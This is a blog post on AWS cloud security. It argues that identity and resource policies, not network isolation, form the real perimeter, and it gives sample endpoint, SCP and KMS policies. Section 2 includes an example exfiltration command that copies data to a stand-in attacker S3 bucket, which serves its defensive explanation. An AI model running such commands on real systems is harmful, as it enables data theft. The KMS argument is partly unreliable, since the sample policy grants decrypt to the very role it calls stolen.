The Air Gap Fallacy: Why Identity is the Only Real Perimeter

Avatar photoByAdil

This Article was Inspired by Dr. Goran Pavlović

The Hook

In my last post, I demonstrated how to build a virtual “Air Gap” in AWS using VPC Endpoints and Private Subnets. It’s a clean, necessary pattern.

But as Dr. Goran Pavlović (Cyber Defense Architect) rightly pointed out in our discussion:

“Air-gapped cloud architectures don’t remove risk, they shift it. IAM, key policies, and egress controls become the new perimeter — and if those fail, the ‘air gap’ is mostly theoretical.”

This statement is the difference between a Junior who configures a firewall and an Architect who secures an ecosystem.

Let’s dismantle the illusion of the “disconnected cable” and look at the real battlefield: Identity.

1. The Illusion of Physics

On-premise, an air gap is physical. You unplug the cable. The electrons cannot flow. To hack it, you need a USB stick and a human insider.

In the Cloud, there is no cable. There is only the Control Plane (API) and the Data Plane.
Even if you remove the Internet Gateway (IGW) and delete the Route Table entries, your “isolated” server is still sitting on AWS infrastructure. It is still reachable via the AWS API, provided you have the right credentials.

The hard truth: A network barrier (VPC) stops network packets. It does not stop API calls.

2. The Attack Vector: Tunneling through the Policy

Imagine you have a strictly isolated EC2 instance in a private subnet. No Internet. Perfect, right?

The Scenario:
An attacker compromises a legitimate IAM Role attached to that instance (e.g., via an application vulnerability).
The attacker wants to exfiltrate data.

  • Network Layer: Checks Route Table. No IGW. Blocked.
  • Identity Layer: The attacker runs aws s3 cp sensitive_data.txt s3://attacker-bucket.

If your VPC Endpoint Policy for S3 allows Principal: * and Resource: * (the default), the traffic flows internally through the AWS network to the attacker’s bucket. The “Air Gap” was bypassed without ever touching the public internet.

The network firewall didn’t even blink, because it was valid AWS traffic.

3. Identity is the New Firewall

To create a true “Digital Air Gap,” we must treat IAM and Resource Policies as our primary firewalls.

Here is the “Defense in Depth” architecture that complements the network isolation:

A. VPC Endpoint Policies (The Gatekeeper)

The default policy is too open. You must restrict usage to your Organization only.

Snippet 1: The Dangerous Default 

{
    "Statement": [
        {
            "Action": "*",
            "Effect": "Allow",
            "Resource": "*",
            "Principal": "*"
        }
    ]
}

Why this fails: This policy turns your VPC Endpoint into a public highway. Any IAM role inside your VPC can send data to any S3 bucket in the world—including the attacker’s bucket.

The Solution: Snippet 2 – The “Data Perimeter” Policy 

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "RestrictToMyOrgBuckets",
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:*",
            "Resource": "*",
            "Condition": {
                "StringEquals": {
                    "aws:ResourceOrgID": "o-a1b2c3d4e5"
                }
            }
        }
    ]
}

The Magic Line
The condition “aws:ResourceOrgID”: “o-a1b2c3d4e5” ensures that traffic is only allowed if the destination bucket belongs to your AWS Organization.

B. Service Control Policies (The Guardrails)

CPs sit above the account. Use them to deny traffic to regions you don’t use and to block the modification of your logging architecture (CloudTrail). If the attacker can turn off the lights, the air gap doesn’t matter.

C. KMS Key Policies (The Final Lock)

If the network fails and IAM fails, encryption is the last line of defense.

Snippet 3: The KMS Key Policy 

{
    "Sid": "AllowUseOfTheKey",
    "Effect": "Allow",
    "Principal": {
        "AWS": "arn:aws:iam::111122223333:role/MyAppRole"
    },
    "Action": [
        "kms:Encrypt",
        "kms:Decrypt",
        "kms:GenerateDataKey"
    ],
    "Resource": "*"
}

The Architecture Shift:

Instead of giving the key permissions to _root _(which delegates control to IAM), we explicitly define who can decrypt. Even if an attacker steals the data file, and even if they exfiltrate it… it is just a pile of garbage bytes to them because their stolen role implies they don’t have the _kms:Decrypt _permission in this specific policy.

4. Conclusion: Stop Building Theater

Building a private subnet is easy. Calling it “secure” is dangerous. Real security in the cloud requires accepting that the perimeter has shifted.

Old World: The Perimeter is the Firewall.

Cloud World: The Perimeter is the Policy.

Don’t build security theater. Build policy layers that assume the network is already compromised.

Similar Posts